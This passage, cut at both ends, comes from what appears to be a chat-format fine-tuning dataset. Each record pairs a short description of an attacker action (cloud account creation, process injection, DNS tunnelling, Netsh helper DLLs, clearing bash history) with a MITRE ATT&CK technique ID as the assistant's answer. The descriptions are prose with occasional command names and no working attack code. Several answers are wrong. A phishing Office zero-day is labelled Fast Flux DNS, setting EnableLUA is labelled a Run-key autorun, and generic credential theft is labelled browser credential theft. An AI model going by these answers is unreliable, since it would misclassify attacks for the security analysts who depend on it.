            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder sets up a new GCP service account and assigns it the Owner role."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leveraging a Windows update mechanism to install a malicious driver with kernel‑mode privileges."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query open WHOIS databases to retrieve domain ownership and contact information for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages SMTP to email exfiltrated documents to an external address without encryption."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script called InstallUtil with a crafted assembly to evade detection and launch the malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability in the firmware signing process, the attacker installed unsigned firmware to execute code before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a malicious SSP (Security Support Provider) that is invoked by Windows during credential validation."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltrated data is transformed into a printable string using the standard Base64 scheme before being sent via email."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a compromised external web server to temporarily store stolen data before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample contacts a compromised web API endpoint to send command outputs, employing a one-way communication channel with no inbound traffic."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal adds a hidden executable to a shared USB drive that, when opened, installs a backdoor on any machine that mounts the drive."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the threat actor executes Get-LocalUser to retrieve a list of local accounts on the system."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using previously leaked account credentials, the attacker performs high‑volume login attempts on the corporate VPN portal, exploiting lack of rate‑limiting."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a container that exploits the host kernel via a vulnerable container runtime."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker writes a VBScript that calls the ADSI interface to create a new domain user and sets a weak password."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote attacker uses ICMP echo request floods (ping flood) to saturate the target's network stack and deny legitimate traffic."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sets up an internal proxy server to relay malicious traffic from compromised hosts to external command and control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑actors set up a DNS tunneling tool to transfer data out of the network, encoding the data in the subdomains of DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group records the user’s screen every 10 minutes and encrypts the images before exfil."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits open DNS resolvers to send a massive number of DNS response packets to the victim, resulting in a network flood."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses XPC services to synchronize execution between a sandboxed browser plugin and a privileged daemon, bypassing macOS sandbox restrictions."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performed \"docker run\" with privileged flags to launch a new malicious container that communicates with the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module registers a malicious Netsh helper DLL, then triggers it by executing the \"netsh wlan set hostednetwork\" command to run arbitrary code with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker utilizes a custom-built malware to extract credentials from a compromised host, what technique does this represent?"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the attacker collects Outlook PST files and writes them to a newly created staging subdirectory under C:\\Users\\Public."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a privilege escalation flaw to modify security descriptor of the scheduled tasks folder, enabling task creation."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware parses the victim's resolv.conf file and system network settings to identify configured DNS servers and search domains."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat executed a Python script that creates new user accounts and adds them to the administrators group."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors harvest data from public cloud asset listings and IP address ranges that are openly published."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a crafted HEIC image that exploits a flaw in the mobile OS's image previewer, causing the device to execute a malicious shell script without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique consists of stealing a Kerberos authentication token and presenting it to services to bypass credential verification."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates data by embedding it within the payload of legitimate software update requests."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use the Windows utility Odbcconf.exe to register malicious DLLs as ODBC drivers, allowing code execution when a legitimate application loads the driver."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a zero‑day exploit in a popular PDF reader, the threat actor delivered a malicious payload that granted them additional toolsets on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchased a remote access trojan on an underground forum and transferred it to the victim network."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team edited the malicious script to delete comments and timestamps that could be used as forensic indicators."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is set to execute via a scheduled task named \"UpdateService\" configured to trigger at logon."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a vulnerability in the web application firewall to extract its policy configurations."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs launchctl to schedule a recurring task that downloads and runs additional malware components."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PDF is posted on a shared network drive; an employee opens the file, which exploits a vulnerability and runs a payload after prompting for permission."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs 'smbclient -L' against target machines to identify accessible network shares."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A crafted Excel file uses the Workbook_Open event to drop a shortcut into the user's Startup folder, achieving persistence via Office Application Startup."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cross-site scripting used to steal user credentials or sessions"
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By calling OpenProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread, the ransomware injects its PE payload into a system process."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leveraging the Distributed Component Object Model, the malware performs lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a known CVE in the Linux kernel's networking stack, the threat actor disabled SELinux enforcement and gained stealthy persistence."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group develops an exploit for a remote code execution flaw in a popular enterprise application."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a cross-site scripting (XSS) flaw in a public portal to log users’ credential input before it reaches the authentication backend."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators drop a custom DLL into the Netsh helper directory and run \"netsh interface ipv4 set dnsservers\" to execute the DLL and establish a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker writes a macro‑based information‑stealer to embed in phishing emails."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors purchase data from commercial cyber threat intel vendors to identify vulnerable systems within the target organization."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan drops a payload that calls usermod to lock a user account on a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised admin account was used to edit the internal staff portal, inserting a defaced welcome message."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor authenticates to the victim's private GitLab instance and clones multiple repositories to harvest proprietary source code."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leveraged a stolen API key to send DeleteInstance requests, shutting down the target's OpenStack instances."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload encrypts its command and control traffic with TLS 1.3, preventing deep packet inspection from revealing its activity."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set performed offline password cracking using custom wordlists and brute‑force techniques against stolen credential hashes."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code disables hardware security modules, rendering BitLocker encryption ineffective."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker obtained a backdoor tool by compromising a security vendor's internal build server."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom Python tool is used to harvest browser cookies and session tokens from the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs \"history -c\" on a compromised Linux system to erase bash command history and hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the Windows function RtlCreateUserThread to create a new thread inside a legitimate process and runs a payload without alerting security tools."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploited a vulnerable WordPress plugin to inject custom JavaScript that displayed offensive messages on the landing page."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team operator looks through .bash_history to locate hard‑coded secrets that were typed into the terminal."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors alter the domain's Group Policy to enforce a new registry value that disables Windows Defender across the enterprise."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker abuses a misconfigured S3 bucket policy to spawn a new IAM user that can list all buckets."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email containing a malicious Microsoft Office document exploits a zero-day vulnerability to execute a remote code payload on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts routing table entries and network interface metrics to understand the target's network layout."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker parses the .bash_history file to find credentials used in Docker login commands."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor modified autoscaling group parameters to launch additional instances that were then used for crypto mining."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compresses harvested files into a ZIP archive before exfiltrating them."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group conducts reconnaissance by examining utility records and zip code information to locate the target's regional office."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performed a systematic download of all files from a SharePoint team site to prepare for extortion."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a new autorun entry using the Registry value HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign sets up storage buckets in a region that the victim does not monitor, exploiting the oversight."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor executed 'kubectl exec' to modify environment variables of a running pod, altering its behavior."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
